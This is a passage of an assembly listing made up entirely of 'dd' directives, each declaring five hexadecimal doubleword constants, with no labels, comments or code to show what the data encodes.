		dd 9DE98C4h, 8C81F6D5h,	194706FAh, 0C0605656h, 1140C2A4h
		dd 6240928Ch, 277F812h,	9C0CB8BEh, 0F9972A96h, 388AF5D4h
		dd 0F8B433D7h, 0EFEFD1Bh, 607471C2h, 401F0636h,	8D01731h
		dd 3701CC97h, 0F17E31A4h, 0E1502103h, 4685B33h,	0DA14B5FCh
		dd 40F9444h, 3C9F05B7h,	8CCEC802h, 382E9980h, 19DE7939h
		dd 11C677C1h, 0B69990F2h, 43613A78h, 9805F715h,	32507BF0h
		dd 54995363h, 6E92B19h,	7FF1E098h, 87403FD1h, 800257F4h
		dd 0CE0B1CC1h, 14C984A4h, 448240D5h, 780BE08h, 1746A2D1h
		dd 0B40601B7h, 0D7E089DFh, 5724018Ah, 0A028401h, 0C7865849h
		dd 7B69F012h, 1883340Dh, 845F5CE1h, 4CE60873h, 0D4058934h
		dd 0F009178Dh, 97040241h, 0F7944064h, 44A0927Ch, 6F400AACh
		dd 4198A529h, 51D35E09h, 5B5B7480h, 2768037Ch, 3691D9h
		dd 0C2201E11h, 0FC2E9842h, 0A56FB370h, 0C1D3C180h, 0C05F3897h
		dd 9D002846h, 57EFA595h, 33304466h, 2DD35884h, 6BE8DF39h
		dd 0AA906C28h, 39204253h, 2497C073h, 0FA02BD6h,	0C1D4732h
		dd 0D7B07E72h, 3A1CC94Ch, 0AFEE4002h, 5A8B09Ch,	46FCF068h
		dd 0D51DBB09h, 0C2D700FEh, 74A81FBFh, 0F4DF0175h, 0B93FD0CCh
		dd 0D85FF0ABh, 1D188960h, 3A1FC1FBh, 1F7DFC5Dh,	0CC22CBCh
		dd 8F4203A6h, 9F1F0278h, 7F075B86h, 15F0D8E2h, 0F0C3499Dh
		dd 188B01CEh, 34DBB7DAh, 0D1444DC9h, 0F956B810h, 9F30D071h
		dd 54FF90D7h, 0DFC31B1Ch, 12E198A8h, 0AC5FE023h, 3F18A0DEh
		dd 409BFF08h, 0B663D789h, 373199B8h, 4BB85088h,	3F83258Eh
		dd 1FE019B4h, 0B8CC1A61h, 707F0895h, 7010CC65h,	0A96F1FE0h
		dd 0F1F68CD8h, 3DE0DE43h, 3F370D3Eh, 3C15C4E9h,	976E1136h
		dd 16DBC667h, 7D7F0336h, 0F1FFD0D1h, 503FE810h,	8FC01068h
		dd 1F0621B3h, 0ED6FE97Ah, 9F58CE0h, 60E9C69Eh, 756F5232h
		dd 9F9085F0h, 0B812C40Dh, 800798D8h, 38CDD5A1h,	5AD11873h
		dd 0E8EBD998h, 0DF803EFFh, 0D51F808Eh, 0E42BE0DFh, 38CAACC2h
		dd 29506D7Bh, 0DCA97FD0h, 0EEC99BAEh, 5B2DAB8h,	0FFD0463Fh
		dd 0F051B146h, 4149E1D4h, 90877FC4h, 547867B1h,	40D4C0DCh
		dd 0BCADE25Bh, 0E19E1788h, 8720D49Bh, 0D0CD6290h, 0A344DC4Ah
		dd 14C4588Ah, 6A827CBh,	503AC83Bh, 7FD8AF50h, 1FA44750h
		dd 0AC0CA348h, 284CF7A7h, 2667285Bh, 482C4894h,	0C0A29F14h
		dd 0B929C4ACh, 0FB0924EBh, 9F90036Bh, 7F080C50h, 71022A0h
		dd 0BB583263h, 79F03106h, 0F701FF08h, 53884E4h,	0F9A9FB8h
		dd 81B5FB4h, 2AB505CFh,	68E72BB8h, 45381B1Ah, 0F1226204h
		dd 0F7A21C93h, 34A99049h, 1F80A048h, 18CA64ABh,	5F2481D1h
		dd 9F0889A2h, 0C2D82474h, 4A3A521Fh, 56C4BD14h,	0DB140AEFh
		dd 0DF1D9C7Ah, 933120B6h, 0FD3F4831h, 0B5FF688Ah, 942954CCh
		dd 7B8A6C21h, 1F1DC086h, 6759A8A9h, 0CF9B130Ah,	0E65FB804h
		dd 0B07ADC97h, 12DC4356h, 5C06D4E3h, 4DC03021h,	4C268080h
		dd 19F0588h, 10982AB5h,	51989EAFh, 48C2785Bh, 31820DFh
		dd 0A015FB31h, 0E094B467h, 3133114Fh, 0FB48E853h, 2939986Ch
		dd 802BDF48h, 0A483E73Fh, 1A084868h, 8E9F79Eh, 0AD92351Bh
		dd 5F9EC7Ch, 525B5AD1h,	12685D4Fh, 8A1C7D7Ah, 0AC624670h
		dd 4FB3DBE2h, 8A70B1D8h, 0D17B1C39h, 26E17038h,	9B384CFAh
		dd 905F0624h, 3C88C0Bh,	2C33587Ch, 93086AB8h, 0D0AC4AD2h
		dd 9821DB30h, 19E690EAh, 9F58CC3Bh, 0A7305C22h,	191A7F50h
		dd 5FBDD1F1h, 0B6B862B0h, 591013F9h, 7F12BC5Bh,	0FFB004BEh
		dd 9AB493F0h, 8F1F0819h, 0FF00BA71h, 1380078Ch,	4038C966h
		dd 2C875CA3h, 448E07Fh,	74BD2B18h, 383A02E2h, 5F80A2FBh
		dd 84765C05h, 3CB8672Ch, 9F2E88A0h, 1E9284FBh, 73082C1Eh
		dd 0F8B71509h, 668002F4h, 1B30F207h, 918B837Bh,	20770920h
		dd 7F2C949Fh, 0C987A0B0h, 9742D0D6h, 8058C1D3h,	751D098Ch
		dd 7465DE30h, 1C810A08h, 0B4609DFFh, 1D81313Fh,	8CCFE210h
		dd 28851340h, 18834827h, 0CA4EB26h, 0FF08C23Fh,	4189DD20h
		dd 0B801F0D6h, 0B6B928C6h, 10046290h, 2C498E5Fh, 0DF883056h
		dd 26E03D59h, 7F0A2822h, 243ED862h, 0E896C0D7h,	3046E852h
		dd 3810FC3Fh, 64CC01DFh, 30E45C28h, 1F084D9Fh, 48CB0525h
		dd 2A502254h, 0D41E0208h, 0D593CC83h, 9EE9032h,	0B38C0FA3h
		dd 60BA5711h, 80FD0832h, 926CE942h, 0A99F088Ch,	9C8A011h
		dd 30903686h, 7CAA7F2Ch, 0B004348Ch, 9F10C6F0h,	624109EAh
		dd 50741EF1h, 0EA149BBCh, 39820838h, 0BAF88EEh,	6C255B1Fh
		dd 3FD08124h, 42DC4784h, 0C885B176h, 429046D3h,	0F9506807h
		dd 0A1635FA4h, 10D71F10h, 11CADF08h, 428A27Fh, 9CBF32B0h
		dd 9F027229h, 2C5F0343h, 0B02E392Ah, 0F1A0A551h, 0A8B875BDh
		dd 29CD1C21h, 8BE1880Ah, 0BC241C28h, 4E2356FCh,	63DB88F8h
		dd 0EA70A038h, 0CAF9CCF5h, 0CE04DA09h, 0CF0BFFD0h, 6093F109h
		dd 8CF88851h, 48651109h, 58F891BCh, 128E3B2Ah, 125E5D7Bh
		dd 3F704270h, 9443D06Fh, 0FFFC92DDh, 424A00Ah, 0AC041293h
		dd 7092495Fh, 322458C9h, 0CE901AB1h, 0E620465h,	9B88B861h
		dd 9F88C542h, 0CFFCD2B1h, 3A622845h, 0E9115Ch, 0CC85153Bh
		dd 0FFB05BA8h, 60B1B5E0h, 0D04DF651h, 505B498Ch, 8C4B3F90h
		dd 3C40B008h, 0AAA9F16Fh, 0F967FCA6h, 6AC81C4Ch, 1F808B8h
		dd 19DB18DCh, 4C6111CFh, 8035FE01h, 0B69C08FBh,	0F406205Bh
		dd 31A47434h, 94B33C2Bh, 0A7C038E8h, 4A77FBF1h,	0B6900A2Bh
		dd 2A87F8D8h, 316201FAh, 0EF051B30h, 78ED8ED8h,	3030C986h
		dd 0B504BB14h, 826F888h, 4EAD61BBh, 1D401C1Ah, 70970970h
		dd 99C8086h, 30DE3EF8h,	392BBB02h, 3D109AECh, 6C88604h
		dd 540010BCh, 66A72DFFh, 0EE89E718h, 6FAA006Bh,	0C915C8E3h
		dd 3A0E8AA0h, 0CCBE4F6Eh, 0F1FB28A6h, 13E66211h, 0DA428C44h
		dd 9F02A431h, 0DEC32288h
		dd 0A28F702Eh, 79D331F1h, 0D82002FDh, 94D600CEh, 0F5A7C4AEh
		dd 5900E50Eh, 5B5CBC4Bh, 85A0B0h, 7160410h, 0FCE41348h
		dd 0B786A07h, 36F76035h, 82466EB0h, 0BDB71ECFh,	0A7CC3EE8h
		dd 0B8A5F900h, 37258709h, 0AD6C5900h, 4386ECD8h, 91670042h
		dd 0AE93C97h, 90001A5Bh, 59EED241h, 1EAB575h, 0CE3CE4Dh
		dd 0CC2148E0h, 110334E8h, 0EFB430FBh, 2090A8ADh, 5030170h
		dd 0D2D6419Ch, 7BB8537Dh, 6C85F5C0h, 65E71C07h,	4660046Dh
		dd 0A05295h, 9F7A7D75h,	21D136Bh, 0AE2EE702h, 8F464CA1h
		dd 0CCD2EF89h, 0EA88D8E6h, 7C490130h, 69D5519Bh, 0B7E44771h
		dd 9DE7E05Ch, 3F1E0D70h, 1081E68Bh, 0CF763E4h, 0A2FAD0h
		dd 5147468h, 936C7A88h,	0E9D51000h, 9F7BAB32h, 6D280070h
		dd 0AA36E09h, 0CF00C15Ah, 0BCEAF5A4h, 4AF020h, 0B1F84D71h
		dd 0A5AFD7F6h, 7A00E5FAh, 4B05A83Bh, 0EA4859E3h, 73492B4h
		dd 0D1C12F66h, 0FB7BC030h, 5418A65Ah, 63503329h, 0DAC70052h
		dd 0AAAF409Bh, 961C88Fh, 42C7A88h, 0DEEF36E4h, 0F34AC138h
		dd 41DF73E4h, 1323B9ACh, 7425F804h, 48B600CAh, 0C37F2CBBh
		dd 0AB0FC0E1h, 0C37E3946h, 0A0693C25h, 1D7C701h, 13E6A5E0h
		dd 0E0FB3851h, 1007DCBFh, 4539340Bh, 0ECE803E0h, 74940001h
		dd 8F6B141Eh, 9700FF50h, 181BF9F3h, 0E6DBF5h, 9AD2A8D7h
		dd 0C35FB7Ah, 0BD9B5E00h, 0CF0163C9h, 94D90273h, 2D1B18F2h
		dd 5F9380F5h, 1DEDA775h, 0C0EE92BCh, 0A9510477h, 8A05E809h
		dd 0F6C2C829h, 0F74AE000h, 244F66h, 7803C357h, 98E1286Bh
		dd 40CB7B01h, 7493213Bh, 37F8F8h, 5B1590C9h, 6DB7310Fh
		dd 0E11BE900h, 0FB79326Fh, 307090Ah, 8400CA3Ah,	0F4144A49h
		dd 3FF5180h, 93B70DEEh,	84E8C758h, 0A009E77h, 3AC4B57Ah
		dd 0D11269h, 6B40A162h,	0DB87442Bh, 78880200h, 0B357528Dh
		dd 56261CA7h, 79B18092h, 0A2F00FE9h, 3C3A9674h,	94780A8h
		dd 0B523E27Ah, 0DC6C5045h, 503D487Bh, 1000213Ah, 0F1BF08F3h
		dd 0B400E1AFh, 0A822906Eh, 0D8266Fh, 3914ADC5h,	6647B15Dh
		dd 0AE494100h, 1D59A81Fh, 2C7600BFh, 4044F26Ah,	4E188C56h
		dd 57207D46h, 0A10B009Eh, 0CC9577AFh, 0DD0331BCh, 82F6D7D5h
		dd 0D05DB853h, 7478090Eh, 3C00FA9Dh, 83A8C4FDh,	20BF1000h
		dd 0BD7EA651h, 262D0072h, 0A44487B3h, 41000168h, 983AD511h
		dd 1F09FDh, 0E08EB96Fh,	0CC19220Fh, 0BE933900h,	0A38882DBh
		dd 5C9B1229h, 1B580083h, 93D6EEB7h, 9FA02400h, 0B8FC529Eh
		dd 0E17C004Fh, 3E2AF5CEh, 672F903h, 0F0F6200Eh,	511700BCh
		dd 2CBF36h, 0DA6AFDB8h,	58F39C0Ch, 3A7D6300h, 0E7EC32E8h
		dd 8D90003Dh, 3B1D39EAh, 0FA48ABC4h, 106F8090h,	75EE3A97h
		dd 77990081h, 501FC766h, 0B700C4B1h, 6717DB31h,	9D024h
		dd 0C549F107h, 0B579B019h, 2D47AC00h, 48E7CC89h, 28A51F12h
		dd 889080E3h, 0ECB152E1h, 8CA39B00h, 0CA166AD0h, 0A03B001Bh
		dd 3E01D6DAh, 0DD0038A1h, 0E54DBA5Dh, 0F9C3AFh,	465862FBh
		dd 6660CBCDh, 717AAA00h, 8781B173h, 76950078h, 0EEB0F756h
		dd 0C700C00Eh, 3D320B66h, 1364CBCh, 6C0C259Ah, 0F8B3B7D4h
		dd 2D0315A7h, 0C08E014Bh, 0CC5BD84Dh, 78CE008Fh, 0F5B4C32Ah
		dd 0EE0086ADh, 2434FCFEh, 1B9220Eh, 85D42B8Ch, 40AF4903h
		dd 32C227D4h, 0C05FE900h, 0DE77A3E5h, 1BC500F7h, 41C894B9h
		dd 0F61FA859h, 0BCDED305h, 7300CF1Ch, 0D7DC3433h, 727C0008h
		dd 0E952E7C7h, 0B1797547h, 48512E80h, 93C280D6h, 0CC609F66h
		dd 0A60007C7h, 0ED60A91Bh, 0F2ECADh, 12E29DAAh,	7174CD30h
		dd 7E70C500h, 104FE08Ch, 5C2148F5h, 0D41B6914h,	624E3201h
		dd 0FCF06E02h, 0A3009945h, 79A48DDEh, 1266D898h, 2DA1ABh
		dd 920107EEh, 75073DEBh, 77EA7287h, 47C0B9B4h, 7BD8B48h
		dd 4B95C461h, 66E9F013h, 8C90056Ch, 5306D480h, 0B5B5700h
		dd 93FA7E1Bh, 0B17F00B0h, 4FEC56E4h, 5000D6CDh,	36DB855Ch
		dd 8B6EA3h, 2E3965A6h, 9383155Ah, 0FAE84F02h, 682BD9D6h
		dd 0B904167Ch, 8943D400h, 3A65FB00h, 5D70CDE4h,	0C88E5B0Eh
		dd 0CFB9C0A3h, 3D562Eh,	0E20DDA24h, 432C74BCh, 68988007h
		dd 75B04DD7h, 6EB392h, 694E95Fh, 5E0E61C0h, 0EE934400h
		dd 2B048479h, 47B6A0AAh, 62A401B7h, 0A19AD75Dh,	6B64604Bh
		dd 4353AE03h, 372D89h, 0E3D4FF98h, 22836CD3h, 0ED63C801h
		dd 6FB0A371h, 0F484ACE8h, 0D24C078Ch, 10393B77h, 0B3317283h
		dd 0F0C42B00h, 27EA7B17h, 741D0BA3h, 14AA88D8h,	9AC8019Ah
		dd 30CA1A1Eh, 0F603D2CCh, 58AC6F16h, 2C4F826h, 0FB80E09Ch
		dd 20BDD8h, 1336602Bh, 912F831Fh, 1B798D0Ch, 7D65070h
		dd 7F344BCBh, 0C662015h, 7300D8FFh, 36CEE9A6h, 384C3Ah
		dd 91B3ABE1h, 0C313BB58h, 0C9063307h, 0D3B07721h, 16DF97h
		dd 0EF356E1Bh, 7387CCC1h, 0F102DD00h, 75277BE7h, 0F8B400E9h
		dd 0F4031D4Ah, 0A40133CAh, 0B1DD4815h, 720E6C6h, 8FA0Bh
		dd 1485F039h, 0D37F3DBAh, 4EA82760h, 0DEB53824h, 17068AD0h
		dd 95C500D1h, 0F15CF657h, 603B4Ch, 0FC754F3Dh, 80DE35h
		dd 142155E9h, 0B26F2CDCh, 0C0C89901h, 0CDB3D74Ah, 0F28840C0h
		dd 0E6C10B7Eh, 0B88577CBh, 0FE5CC88Fh, 12E51A48h, 4F030AE9h
		dd 0D2AC8A28h, 979C6066h, 0E11D00D4h, 3BDCF121h, 2F0C5F2Ah
		dd 0F00EBD17h, 48860010h, 5EEB145Bh, 690BC292h,	97F919h
		dd 2457C829h, 797231h, 9370C4BCh, 2D1A6BD3h, 0EF4FC601h
		dd 87CFF382h, 7553F4h, 1EA9C8E4h, 8C83B729h, 0A8953907h
		dd 4952A6D5h, 0E4A4848Fh, 9A50D8h, 0DAF11C32h, 502881C0h
		dd 3DFCB71Ch, 2079E5CBh, 315D5154h, 0B8BE0047h,	926280F9h
		dd 0D07A7EFh, 0FFF69D55h, 105F3750h, 0B3F500DCh, 0F48874ECh
		dd 7500983Eh, 80A246A8h, 4C11A5h, 0E3074E08h, 92595DC6h
		dd 0FEC9DC00h, 0DD1510FFh, 3E8FAh, 0ACEBA37Ah, 2B06463Bh
		dd 16BDBF24h, 0F670B130h, 39E4905Ah, 61808595h,	9E20FEBh
		dd 0DE1F843Bh, 0A6CF78E1h, 93CCC032h, 8E5A6Ch, 6D1C2CDBh
		dd 0C752ABB9h, 0F4EEBB00h, 78B2CF1Ah, 2B910034h, 0ED27C5C6h
		dd 0E0015D0h, 1F38839Ch, 0CC39536h, 3332A294h, 1800AA29h
		dd 0FC50267Dh, 0A7085Eh, 0EC192751h, 0B98503D2h, 3798A300h
		dd 682C9CDFh, 87B41D0Bh, 0C1D68036h, 4DBCD88Dh,	3C40C903h
		dd 0F30DA8CFh, 96DFA809h, 9AF91FF6h, 0F24380ABh, 0EFEC21CEh
		dd 0D3841B01h, 0AAD886EEh, 0B37464h, 9946B05Ch,	2EC8FF73h
		dd 7D19070Ah, 0A83098BDh, 11F9C0h, 231AC9D2h, 4B9B3A54h
		dd 26B041EFh, 8B3E7067h, 0C60F517Dh, 8FD09445h,	0D15EFC1Dh
		dd 6104980h, 626E9Ah, 0F03E9363h, 0F6F887EFh, 807A313Ch
		dd 89E1A36Ah, 7546BB8h,	5A1BC2D7h, 80AB76A1h, 0EE0037E0h
		dd 4C55A06Dh, 3D9CCF2h,	61A31BDBh, 38008669h, 0DAC00AB6h
		dd 6A6B72Bh, 2212C934h,	890040B0h, 0AFFA477Eh, 0C56F30F4h
		dd 0A90530h, 73C02AF3h,	0EE762C1Eh, 0A6EB3200h,	0A31F37D4h
		dd 48590693h, 48548592h, 0DA940305h, 88D02A82h,	3B04312h
		dd 0F5A5DB52h, 5D93669h, 9F7CC406h, 0EBEF3F00h,	372674BEh
		dd 42F600B1h, 52BFADB9h, 0F3071AC1h, 0E73F89CAh, 88351BC0h
		dd 5EB9007Fh, 2EE12CECh, 0F0E52FAEh, 0CE00266Fh, 8696AAA6h
		dd 3C605Dh, 0C13F0B7h, 9D6131BCh, 0E3EEBD00h, 6234EFCh
		dd 53C5121Ch, 0D0F707D2h
		dd 4BA3F0C7h, 740FCE49h, 833FBEAAh, 0C0BB5EDAh,	67791ECFh
		dd 0A07DFCA7h, 838ACC5Fh, 0EDE8948h, 7CBF7163h,	7B309680h
		dd 58B50AC7h, 0CF0B1818h, 60805637h, 172CF09Ch,	190EA300h
		dd 0DDE69DC5h, 484F00E2h, 0F1E913DFh, 21738C25h, 0A2290A0Eh
		dd 0E8C01E37h, 0D75F2C8Ah, 91C96C6h, 7880B47Eh,	2D9A14E4h
		dd 3C7A1E2Ch, 3E3DE300h, 133283Bh, 0BB43A29Fh, 60380115h
		dd 0BF036C80h, 2AB4A69Bh, 73329882h, 6EBA0026h,	8D2B709Ch
		dd 18000B44h, 0E4224A8h, 0FCC90717h, 27F3F2FCh,	0D800AD86h
		dd 0EBEE95BFh, 4DF6E401h, 433774C2h, 5BD80331h,	0DDF7008Bh
		dd 0BD23ADA1h, 0FC73F331h, 92E9A800h, 7C3E0C38h, 0A8B0FC8h
		dd 0A40B8A94h, 0ACC2B783h, 34C32DEAh, 72F701A8h, 216D33Dh
		dd 0ADBCC7EBh, 0E8CC87CBh, 0FB3BD910h, 5E1501A0h, 0BFF23595h
		dd 474ED9C2h, 505F4h, 9DAB9BB8h, 4896348Eh, 8536D401h
		dd 9838E7E5h, 88A85629h, 8C005DB6h, 0E9F6CFECh,	0CEEB12DEh
		dd 0ADA000D3h, 0A32B3763h, 164BE70Eh, 55B8E1Ch,	7080B9A0h
		dd 3AB254Ch, 691E288Eh,	8BEAE574h, 801DF2C1h, 72634810h
		dd 340824Ah, 0CEFED2F4h, 99886062h, 0AA00FAC2h,	795631Bh
		dd 46ED67h, 0C5F34D72h,	24E7587Eh, 9B007377h, 9FD353D5h
		dd 0E07DD01h, 279E5426h, 326F7A00h, 0F22EC4D4h,	79003AE3h
		dd 0C39B8A73h, 450E0024h, 7702641Fh, 1A00C871h,	0CF12C7EAh
		dd 0C9A032h, 0FB8BBD18h, 0E34B0C56h, 0D4F27C07h, 64302376h
		dd 1B3C5Dh, 7B91ED73h, 0B1F63642h, 5AB23A00h, 0CFAAEB2Eh
		dd 0D240006Bh, 632A32D0h, 81075E9Ch, 0C86254B9h, 8FC12341h
		dd 13F8160h, 1C2F3A2Dh,	0DC9E9B73h, 0A90159A8h,	7555385Dh
		dd 0C3C9B472h, 1934D0h,	2A92B5B3h, 0CC829D90h, 0D500305Eh
		dd 3970BFDAh, 156300CFh, 2BEAFCEDh, 0F60E4FBEh,	600C5279h
		dd 10C7D777h, 164757Dh,	0D3F04C62h, 0D51BAB14h,	2E6DC453h
		dd 55C2B10Ch, 18506Eh, 0F15E5247h, 0FB01ABF9h, 29548700h
		dd 0C41F3D38h, 40610035h, 745F7CA0h, 3EEA6562h,	9E453700h
		dd 0EF0C6867h, 0FFAA00F9h, 0DE7A0EEAh, 0F83F358Dh, 0DA3281BBh
		dd 0CB248278h, 0B5E58040h, 8AFC0611h, 30E96D51h, 6B00647Eh
		dd 0B082A970h, 20957905h, 4C3E2C52h, 0CD0C1734h, 1FE1BD00h
		dd 811874h, 8F566CBEh, 14DE96B8h, 8E731A00h, 47155BE2h
		dd 3C5C0FBAh, 9EE4FA34h, 60B480B9h, 6778634Ah, 0C13E4103h
		dd 0D8649D70h, 656FDBh,	20C57C21h, 1C521225h, 6E77AE00h
		dd 93E44535h, 0C7A80070h, 2CC158ECh, 43002BBDh,	7044EE0h
		dd 3DA37B1Bh, 0A79F9BCDh, 0EBCF0F31h, 0FA3F407Dh, 0CC8F965Fh
		dd 1116321Dh, 0FD00F47Fh, 0EDD491F0h, 8D7B41h, 5BA4AA47h
		dd 8BB9C2D8h, 69D08E00h, 0F9F0295Dh, 26520782h,	39E73413h
		dd 0E985EA00h, 0E006EFBh, 0AE94C483h, 0D04E97h,	96290CE2h
		dd 8548B054h, 0D1CE3300h, 61E60BDBh, 0D7F700C2h, 63144730h
		dd 35002BD3h, 7D56E09h,	60FCD2CBh, 99719A9Ah, 8700A2D1h
		dd 0C36ACA86h, 3DD0B0h,	0ABEDFF02h, 8ACE9C58h, 7B992D00h
		dd 0D93BFE3Ch, 25FABCh,	903462FFh, 0A7599E5Bh, 92808900h
		dd 63F3EB0Ah, 9CC403C3h, 0F51C296Ch, 138A60D0h,	94D62E00h
		dd 54815186h, 0EEF01C9Dh, 0CCC343FDh, 70EF43C4h, 251E949Ah
		dd 0BB4C1400h, 2C770459h, 4B7F0365h, 153FF2D4h,	6C23BD88h
		dd 9C8ABC00h, 0E95EE1BFh, 29370094h, 0A845A236h, 3A1B9EFFh
		dd 0B8105843h, 444F05h,	53B288F4h, 16D6F634h, 0DBC8F200h
		dd 5619E22Bh, 0B8ED0096h, 83F9DDA4h, 0B2005C0Ch, 38727DD8h
		dd 9B2977h, 0CE2CDA21h,	0EFF1C9F0h, 0ED17BE13h,	3F553407h
		dd 84B4EBC0h, 7BB7DA2h,	1E39E3D0h, 919960AEh, 98000DCBh
		dd 3B6702D8h, 0C06BD3E7h, 2C3F11F1h, 725C2A87h,	92320006h
		dd 0FD0DDFFFh, 0A11835AAh, 0CF5F8050h, 640084A2h, 0C4E54649h
		dd 0A0ED7AA6h, 0CE05D8h, 256DEA51h, 2B9731D7h, 0D101062Ch
		dd 7F26853Dh, 0E003FCC9h, 0E8852E83h, 1BBACA5h,	14979E35h
		dd 80FFC30Fh, 945D5820h, 0F8D5E71Ah, 59BC00ECh,	0FCDAF690h
		dd 0C33C65FEh, 8CE6286Fh, 5267C600h, 223CCD2Bh,	92EE09h
		dd 40B12174h, 0E6F5C5B6h, 8A616F00h, 707D348Fh,	0FC100AAh
		dd 74421E24h, 9E00BB1Fh, 0EE4B7173h, 0FF0BF1h, 0F02F96DAh
		dd 0A27B01A7h, 5DB2CE1Ch, 721CBC00h, 3DAF9E9h, 0EE9F69EFh
		dd 90809D92h, 0B8005704h, 0F6793521h, 3A70C734h, 47804FCAh
		dd 37391F5Ch, 9800D52Dh, 0E7087590h, 404C5Dh, 8E799264h
		dd 36BB410h, 0CB0C593Fh, 0EE6032C7h, 18DDA77h, 14CBE166h
		dd 0F88EF4DCh, 81DB76Dh, 40C02C31h, 5B042D5Ch, 2FDF0078h
		dd 1A467EE2h, 2A00EF9Bh, 0FDC2EEFEh, 8B198Ch, 6851A967h
		dd 0AB7EA87Fh, 21F37900h, 7ACD231h, 16F57AEBh, 13D01108h
		dd 0A6DA003Ah, 0B5C541B7h, 0CE51F4Ch, 2EC3162Fh, 817008Ah
		dd 5D949918h, 563BA6C7h, 9D00FA2Eh, 24703945h, 0EA0E06h
		dd 9E30E23Ch, 0ABAAC007h, 9F32A900h, 1EB3AEE7h,	0E5500D1h
		dd 8DD6CF36h, 43713B25h, 0BE5DA800h, 0A4F81003h, 5F971E39h
		dd 4CED8027h, 75B1CE8Fh, 1179D818h, 7D9B81h, 0A6766D3Fh
		dd 44EEA1B2h, 0E2E4C67Eh, 1AB3B900h, 0EFE9C99Ah, 653F36E1h
		dd 5F002811h, 0C202A62Ah, 3FA9F70Eh, 0CA80A786h, 0C4DAB464h
		dd 1480C166h, 0CBB906FFh, 405E3BC5h, 12F21BF8h,	0FD63A1F4h
		dd 0B62390h, 10A3A511h,	0B736E160h, 864EDB0Ch, 65F80C1h
		dd 567D07BBh, 0D706493Fh, 6D90111Eh, 0BD5B03B0h, 0A727B32Dh
		dd 0FB1A3800h, 0A412948Ch, 9151005Ch, 0DC476A1h, 0E6488405h
		dd 0C5C80058h, 0E368DF26h, 0F0B1029Dh, 3F77D069h, 1DDCF7E0h
		dd 954F2E00h, 22F55113h, 1CECCBh, 0A74E6C71h, 7560A3B8h
		dd 439D106h, 3A34ABE9h,	0B380BD7Ah, 0FE17C424h,	0E3008A80h
		dd 0F07525Ah, 0A84254h,	21932996h, 5939D0A7h, 3ECE2F00h
		dd 0E941194Ah, 0C242AD5h, 11F8D0h, 0C54D125Ah, 251F554h
		dd 53804250h, 66401601h, 0B8896ACBh, 4C6203E4h,	90064CC7h
		dd 2841A597h, 98C1A12Ah, 918E18C6h, 0DFE2F858h,	84CB0421h
		dd 0B0071FFEh, 20812252h, 14C8CD95h, 0E28B0068h, 9D6FFF38h
		dd 0C018B818h, 0DE301BE7h, 5BD6002Ch, 8919A672h, 0DF071438h
		dd 135683E3h, 0FD680390h, 0CB511D21h, 5984CFFAh, 0AE697280h
		dd 8BFCADAAh, 0D7799D00h, 0FF20A764h, 0D83B0097h, 2848C32Fh
		dd 0A36342FAh, 0E0B3E8A9h, 960AE6h, 0E56A8CB2h,	4526241Ch
		dd 0A018D5F8h, 74E9C2AAh, 0A3F402h, 4240544Dh, 21A21B36h
		dd 4F005490h, 5D98B71Eh, 12841604h, 105FD8D4h, 5E60AC1Dh
		dd 911A6014h, 8074283Bh, 6EB8CFF1h, 0CC599Ah, 16C090EDh
		dd 0A03073Eh, 6D738200h, 6693644Bh, 0A2780376h,	2A5AB165h
		dd 0A57A29E8h, 8F7D9F00h, 593C8CC6h, 0EDF700D9h, 1B50DF80h
		dd 44018DAAh, 60A82A68h, 77D329CEh, 9FE90640h, 100343F8h
		dd 6499451Fh, 0F3251D00h, 0E850AA83h, 34BC0080h, 0CF72B912h
		dd 4F007849h, 0C4BE6D8Ch, 1EBD42C9h, 240BDCh, 25F86CD3h
		dd 9DB8287Dh, 6E638E00h, 0EEE2B1C7h, 0E860115h,	2AA61B6Ch
		dd 0B2D9EC6Dh, 0C0DD2B01h, 682597A2h, 0DC5CD4h,	4EADFBCDh
		dd 0BE2CD48Dh, 72C62600h, 0EA9513DFh, 4F440B53h, 7DCC8Bh
		dd 4C6089C3h, 0D2FF1C70h, 52E080B0h, 22CE141Dh,	0D56FAA00h
		dd 426A0412h, 0A09E0575h
		dd 6B818701h, 0A1031404h, 0BA044620h, 14B5B180h, 0DC3007B3h
		dd 6012191Bh, 20A4600Fh, 37E1FAA1h, 0AA99930Fh,	0F01D0094h
		dd 0C386DD5Ch, 0A6402C30h, 7174890h, 0F40080F8h, 0B542AA6Fh
		dd 607761C0h, 1A884898h, 73007018h, 9DDFCBEh, 5C0453h
		dd 0C1A9550Dh, 0BD52E312h, 1BE7200h, 0B2740823h, 420A762h
		dd 330BEE92h, 81290EA8h, 3E20CCE1h, 0BF17EC61h,	0FC00B1E0h
		dd 0ACFE781Ah, 138AB2h,	0D4CF4827h, 7D1C9860h, 3480B656h
		dd 9004C818h, 0C3BFAD48h, 0F8D8F515h, 4D1D1DE1h, 63C3E762h
		dd 608540A7h, 959930F6h, 38C0928Eh, 13CF6027h, 8451CE88h
		dd 3F530090h, 36E6D7D8h, 74507B6h, 0D16C1239h, 0D2612A6Ah
		dd 855B7960h, 84B10F0Ch, 54723982h, 73BC873h, 7A4B2BAAh
		dd 0E8031093h, 61005B56h, 0BC1B0784h, 0C5E12Eh,	8A023A89h
		dd 6EB3834Eh, 5FE4FC0Dh, 7B31607Bh, 38AF608Ch, 2601FFA1h
		dd 30155791h, 0A561ADE4h, 0AA0040BDh, 54D4D699h, 0EAC26B47h
		dd 0A770AFBEh, 6AF0C094h, 1FADCE29h, 407F8F86h,	8045B732h
		dd 1F004ADCh, 0D8884CFFh, 6035A9CEh, 9A107027h,	4800845Bh
		dd 0F4245383h, 140D685Eh, 0F0CA1B8Bh, 49B06130h, 80A88319h
		dd 0DF00579Dh, 0F4F8061Dh, 34EC8ACh, 20F0D1E2h,	0AAC0BA2Bh
		dd 0B715E8ECh, 8A4DEA7h, 8889726h, 5C846BFCh, 61E76FDh
		dd 0E88AC84Ch, 741F99FCh, 29DE4B45h, 0D29380F9h, 0FF58B9D7h
		dd 0A0F8C077h, 0EB7BBDFAh, 1A18A873h, 0DA499AA2h, 162A004Eh
		dd 0A4551DBFh, 5472DBD6h, 24079C24h, 0B67E8741h, 3D003022h
		dd 7FB72D43h, 5B000E50h, 0E1779962h, 90B328C8h,	0A19303B4h
		dd 2CF49FF8h, 888060CAh, 7D9767FEh, 38C60AE6h, 5116AFh
		dd 0E8B3711Ah, 0B692892Fh, 0BC6E341Eh, 0E794F2C0h, 0C8ECC4h
		dd 0A936F599h, 0BEA2C6E4h, 0D8AEF600h, 9A699D82h, 0FA103C0h
		dd 0C7C57C37h, 3AF22000h, 17082E04h, 0FBEB4A6Dh, 4076FB80h
